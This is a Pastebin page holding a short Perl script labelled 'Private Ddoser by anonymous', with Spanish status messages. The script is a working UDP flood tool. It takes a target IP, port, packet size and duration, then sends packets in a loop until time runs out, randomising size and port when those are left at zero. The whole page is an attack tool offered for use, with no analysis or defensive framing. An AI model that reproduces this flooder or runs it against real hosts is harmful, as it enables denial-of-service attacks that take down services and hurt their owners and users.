Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Socket;
- use strict;
- print '
- Private Ddoser by anonymous
- ';
- print "\n";
- if ($#ARGV != 3) {
- print "\tUsage: perl ddos.pl X.X.X.X 80 1000 300\n";
- exit(1);
- }
- my ($ip,$port,$size,$time) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport);
- $iaddr = inet_aton("$ip") or die "No puede conectarse a $ip\n";
- $endtime = time() + ($time ? $time : 1000000);
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- print "Para cancelar el ataque presiona \'Ctrl-C\'\n\n";
- print "IP:\t\t Puerto:\t\t Paquetes:\t\t Tiempo:\n";
- print "$ip\t\t $port\t\t\t $size\t\t\t $time\n";
- print "Para cancelar el ataque presiona \'Ctrl-C\'\n" unless $time;
- for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1500-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement